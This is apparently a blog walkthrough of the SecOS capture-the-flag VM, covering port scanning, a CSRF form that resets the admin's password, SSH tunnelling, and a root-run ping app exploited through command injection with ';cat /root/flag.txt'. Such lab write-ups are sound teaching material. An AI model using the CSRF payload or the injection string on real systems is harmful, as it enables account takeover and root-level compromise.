Core dump overflow

Core dump in progress...

Pentest lab - SecOS

| Comments

SecOS is a web based VM created by PaulSec. Here is the briefing:

Not too tired after BSides London? Still want to solve challenges? Here is the VM I told about during my talk where you’ll have to practice some of your skills to retrieve the precious flag located here: /root/flag.txt. This VM is an entry-level boot2root and is web based.

The beginning should be familiar by now…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nmap -A -p1-65535 192.168.80.128

Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-04 13:36 EET
Nmap scan report for 192.168.80.128
Host is up (0.00085s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     (protocol 2.0)
| ssh-hostkey: 
|   1024 9b:d9:32:f5:1d:19:88:d3:e7:af:f0:4e:21:76:7a:c8 (DSA)
|   2048 90:b0:3d:99:ed:5b:1b:e1:d4:e6:b5:dd:e9:70:89:f5 (RSA)
|_  256 78:2a:d9:e3:63:83:24:dc:2a:d4:f6:4a:ac:2c:70:5a (ECDSA)
8081/tcp open  http    Node.js (Express middleware)
|_http-title: Secure Web App
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port22-TCP:V=6.47%I=7%D=2/4%Time=54D20435%P=x86_64-unknown-linux-gnu%r(
SF:NULL,27,"SSH-2\.0-OpenSSH_6\.6p1\x20Ubuntu-2ubuntu1\r\n");
MAC Address: 00:0C:29:F4:5D:DC (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14

Let’s see what’s running on port 8081:

site

Looking at the about page, we can see the site is really secure!

about

Also, there is some sort of hint in the source code:

1
<!--<li><a href="/hint">Wanna help?</a></li>!-->

Checking that page, there is this message:

troll

Well, there is something to see in the source code:

1
2
3
4
5
<!--
        First: the admin visits the website (really) frequently
        Second: He runs it locally, on 127.0.0.1. 
        Third: CSRF and /(http:\/\/[-\/\.\w:0-9\?&]+)/gi, I think that's enough
        !-->

I created a user to check the functionality of the app. It seems you can send and receive messages between users. The spiderman user is the admin, so we’re mainly interested in that account. Using the hint, the likely course seems to be crafting a CSRF request to change the admin’s password and sending it to him in a message.

First, a HTML form that will take care of resetting the password:

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form name="changepass" method="post" action="http://127.0.0.1:8081/change-password">
<input type="hidden" name="username" value="spiderman">
<input type="hidden" name="password" value="pwned">
</form>
<script type="text/javascript">
document.changepass.submit();
</script>
</body>
</html>

Breaking it up, the form submits the username and password (which are hidden because we are using Javascript to send them to the server, and not clicking buttons ourselves) to the change password page. Because of the hint we found in the source code, we are using the localhost address instead of the machine’s IP. I copied it to /var/www/ and served it with apache.

And now to send a message to spiderman, with a URL for him to click:

sendcsrf

Success! His password was reset and we can log in with the new password that we’ve just set. In the Messages section, we see that another user also had less than honorable intentions:

pirate

Next thing I did was try to SSH into the box as spiderman, with the password CrazyPassword!. And it worked! In spiderman’s home directory, there is a folder called vnwa..a vulnerable web application maybe? I found something potentially interesting buried in the internalServer.js code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
spiderman@SecOS-1:~/vnwa$ cat internalServer.js 
var fs = require('fs');
var express = require('express');
var http = require('http');
var sys = require('sys')
var exec = require('child_process').exec;
var crypto = require('crypto');

var utils = require('./lib/utils.js');
var model = require('./lib/model.js');

var app = express();
var server = http.createServer(app); 

var logger = function (req, res, next) {
    console.log(req.connection.remoteAddress + " tried to access : " + req.url);
    next(); // Passing the request to the next handler in the stack.
}

// Configuration
app.configure(function () {
    // Session management
    app.use(express.cookieParser());
    app.use(express.session({secret: 'privateKeyForSession'}));
    app.use("/js", express.static(__dirname + '/public/js')); // javascript folder
    app.use("/css", express.static(__dirname + '/public/css')); // javascript folder

    app.set('views', __dirname + '/views'); // views folder
    app.set('view engine', 'ejs'); // view engine for this projet : ejs 

    app.use(express.bodyParser()); // for POST Requests
    app.use(logger); // Here you add your logger to the stack.
    app.use(app.router); // The Express routes handler.
});


app.get('/', function (req, res) {
    res.render('ping.ejs', {
        isConnected: req.session.isConnected,
        isAdmin: req.session.isAdmin
    });
});

// Update password
app.post('/', function (req, res) {
    ip = req.body.ip
    if (ip == "") {
        utils.redirect(req, res, '/ping-status');
    } else {
        // getting the command with req.params.command
        var child;
        // console.log(req.params.command);
        child = exec('ping ' + ip, function (error, stdout, stderr) {
            res.render('ping.ejs', {
                isConnected: req.session.isConnected,
                message: stdout,
                isAdmin: req.session.isAdmin
            });
        });
    }
});

server.listen(9000, '127.0.0.1', function() {
  console.log("Listening on port 9000");
});

Indeed, this app is listening on port 9000:

1
2
3
4
5
6
7
spiderman@SecOS-1:~/vnwa/scripts$ netstat -antp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -               
...

By looking at the code, it seems it’s a pinging app. During the enumeration phase, I also noticed that unlike the web server we’ve exploited, this internal server is run by root:

1
2
3
4
5
6
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
root       186  0.0  0.1   4692   960 ?        Ss   11:40   0:00 sudo -u spiderman sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js
root       188  0.0  0.1   4692   956 ?        Ss   11:40   0:00 sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
...

To access this application, I set up a SSH tunnel. On my machine, I ran this command:

1
ssh -f -N -L 4444:127.0.0.1:9000 -l spiderman 192.168.80.128

This allowed me to connect to the remote application on port 9000 from the browser of my Kali machine. Let me break it up:

  • -f Requests ssh to go to background just before command execution. This is useful if ssh is going to ask for passwords or passphrases, but the user wants it in the background.

  • -N Do not execute a remote command. This is useful for just forwarding ports.

  • -L [bind_address:]port:host:hostport

Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port hostport from the remote machine.

  • -l Specifies the user to log in as on the remote machine.

  • 192.168.80.128 The IP address of the SecOS box

What this did was forwarding the connections to port 4444 on my local machine to the remote server on port 9000. Remember that the application is only listening on the localhost interface on the SecOS box. So, the SecOS machine is acting as a sort of gateway, tunneling the connections I point to my 4444 port to the 9000 port on localhost. You can read some more about how this works on http://en.wikibooks.org/wiki/OpenSSH/Cookbook/Tunnels

Now, in my browser, I went to http://127.0.0.1:4444/ and:

ping

I tried pinging my Kali machine to see if it works but it just appeared to hang. So I tried limiting the amount of pings by entering -c 2 after the IP to be pinged. And it worked!

ping result

We know the ping app is running as root, so if we can do remote code execution, we’ll be able to run commands as root. And the application is vulnerable to just what we need! Remember these lines from the internal server code:

1
2
ip = req.body.ip
child = exec('ping ' + ip, function (error, stdout, stderr)

The ip variable is passed to the exec function without any prior input sanitization. So, we just close the first command (which would be the ping), and insert an additional command of our choosing, which in this case will be to read the flag:

1
;cat /root/flag.txt

And profit!

flag

Don’t tell any big lies today. Small ones can be just as effective.

Comments